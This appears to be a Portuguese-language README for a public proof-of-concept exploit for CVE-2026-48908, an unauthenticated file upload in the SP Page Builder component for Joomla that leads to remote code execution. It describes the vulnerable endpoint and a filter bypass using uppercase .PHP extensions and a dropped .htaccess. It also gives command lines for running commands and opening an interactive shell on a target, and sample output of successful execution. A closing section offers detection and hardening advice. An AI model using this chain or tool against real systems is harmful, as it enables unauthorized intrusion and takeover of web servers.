
PoC de RCE não autenticada para CVE-2026-48908 — SP Page Builder para Joomla (≤ 6.6.1): upload arbitrário de arquivo via asset.uploadCustomIcon. Autolimpante, protegido por token. Testes autorizados apenas.
| CVE | CVE-2026-48908 |
| Fraqueza | CWE-284 Controle de Acesso Improprio → Upload Arbitrário de Arquivo Não Autenticado → RCE |
| Componente | SP Page Builder (com_sppagebuilder) para Joomla |
| Afetado | 1.0.0 – 6.6.1 |
| Corrigido em | 6.6.2 |
| Privilégios necessários | Nenhum (pré-autenticação) |
| Interação do usuário | Nenhuma |
O SP Page Builder expõe a tarefa do controlador asset.uploadCustomIcon para lidar com o upload de um pacote de fontes de ícones personalizados:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
Nas versões afetadas, essa tarefa é acessível sem autenticação e sem um token anti-CSRF válido. Ela aceita um arquivo ZIP (campo multipart custom_icon) e extrai seu conteúdo em um diretório publicamente servido pela web sob a raiz do documento:
/media/com_sppagebuilder/assets/iconfont/<nome>/ (incluindo a subpasta fonts/)
Como o upload é acessível antes da autenticação e os arquivos extraídos vão parar na raiz da web, um atacante pode escrever arquivos controlados pelo atacante em um local navegável e acessá-los via HTTP.
Algumas compilações adicionam um filtro de nome de arquivo no lado do servidor sobre as entradas do arquivo. Este PoC supera uma implementação comum dele com uma cadeia de três etapas:
.php, .phtml, .phar, .php3–.php8, .pht, .inc em minúsculas, mas não normaliza maiúsculas/minúsculas, então .PHP (e outras variantes mistas) e .htaccess passam.<FilesMatch "\.php$">) executa apenas .php em minúsculas, então um .PHP carregado é inicialmente servido como texto fonte, não executado..htaccess. Um .htaccess (que a lista de bloqueio também perde) contendo AddType application/x-httpd-php .PHP é colocado junto com o payload. Onde AllowOverride permitir, isso registra .PHP como PHP e o shell carregado executa.O PoC sempre empacota uma estrutura de fontes de ícones válida (selection.json, style.css, fonts/<nome>.ttf) para que o upload seja aceito, depois adiciona o shell.
Adaptativo — percorre uma lista de extensões executáveis de PHP (menor pegada primeiro), depois um fallback de .htaccess, e para na primeira que realmente executa código:
fonts/<shell>.<ext> para cada uma de
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Sem .htaccess.
Diferentes filtros do SP Page Builder bloqueiam conjuntos diferentes, e diferentes configurações do Apache executam extensões diferentes — então isso encontra qualquer combinação que o alvo permita e execute.fonts/.htaccess + fonts/<shell>.PHP (fallback) — apenas se todas as tentativas diretas falharem. O .htaccess descartado (AddType … .PHP) força um .PHP maiúsculo a executar onde AllowOverride permitir (é disso que os hosts estilo 5.4.6 precisam).Ele para no primeiro método que executa e imprime qual deles foi bem-sucedido. Cada upload aceito é rastreado, então --cleanup remove todos eles (várias tentativas podem deixar diretórios somente escrita).
Dependendo da versão e do hardening do servidor, o resultado varia, e o PoC o declara explicitamente (veja Resultados abaixo): RCE completo, somente escrita de arquivo (PHP desabilitado /
AllowOverride None), corrigido (somente admin), ou não vulnerável.
pip install -r requirements.txt # requests
# confirmar a vulnerabilidade e provar execução de código (executa `id`)
python3 sppb_rce.py https://target.example
# executar um comando específico
python3 sppb_rce.py --url target.example -c "uname -a"
# pseudo-shell interativo
python3 sppb_rce.py https://target.example --shell
# apenas verificar; não executar comando
python3 sppb_rce.py https://target.example --check
# remover o diretório de payload carregado depois
python3 sppb_rce.py https://target.example --cleanup
O alvo pode ser fornecido como argumento posicional ou via --url, com ou sem esquema.
[*] alvo : https://target.example
[*] endpoint: index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] tentar .php -> rejeitado pelo filtro
[*] tentar .php3 -> rejeitado pelo filtro
...
[*] tentar .PHP -> enviado, não executado
[*] tentar .htaccess+.PHP -> EXECUTADO
[+] EXECUÇÃO DE CÓDIGO CONFIRMADA via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] executando: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] limpeza: concluída (4 diretórios)
O PoC sempre informa o veredito para o alvo:
| Saída | Significado | Saída |
|---|---|---|
EXECUÇÃO DE CÓDIGO CONFIRMADA via '<método>' | Vulnerável — RCE completo sem autenticação | 0 |
[~] PARCIALMENTE VULNERÁVEL — escrita de arquivo sem autenticação funciona, mas PHP NÃO executou | Somente escrita de arquivo (AllowOverride None / PHP desabilitado em /media) | 3 |
[-] ALVO NÃO VULNERÁVEL — SP Page Builder está corrigido (6.6.2+) | Corrigido — upload agora requer autenticação de admin | 1 |
[-] ALVO NÃO VULNERÁVEL — todo upload foi rejeitado, ou SP Page Builder está ausente/corrigido | Não explorável / componente não presente | 2 |
404 para qualquer um sem ele — não é uma backdoor aberta ao mundo.--cleanup exclui o diretório de payload que criou.id, um marcador aritmético)./media/, /images/, /tmp) via pool FPM ou php_admin_flag engine off.AllowOverride None nesses diretórios para que um .htaccess descartado não possa reativar manipuladores..php/.PHP inesperados sob media/.../iconfont/, novas contas de Super Usuário e gerenciadores de arquivos plantados.Exploit SP Page Builder Joomla · com_sppagebuilder RCE não autenticado · PoC CVE-2026-48908 · asset.uploadCustomIcon upload arbitrário de arquivo · Joomla execução remota de código · script de exploit para pentest.
Este software é publicado para fins educacionais e testes de segurança autorizados apenas — por exemplo, testes de penetração para os quais você tem permissão por escrito, programas de bug bounty que incluam o alvo no escopo, competições CTF e seus próprios sistemas de laboratório.
Acessar, modificar ou interromper sistemas de computador sem autorização é ilegal na maioria das jurisdições. Você é o único e total responsável por suas próprias ações. Ao usar, baixar ou distribuir este código, você concorda que:
Se você não concorda com estes termos, não use este software. Como qualquer exploit/PoC disponível publicamente, é compartilhado de boa fé para ajudar defensores a detectar, entender e remediar a vulnerabilidade; o que você faz com ele é por sua conta e risco.
MIT — veja LICENSE.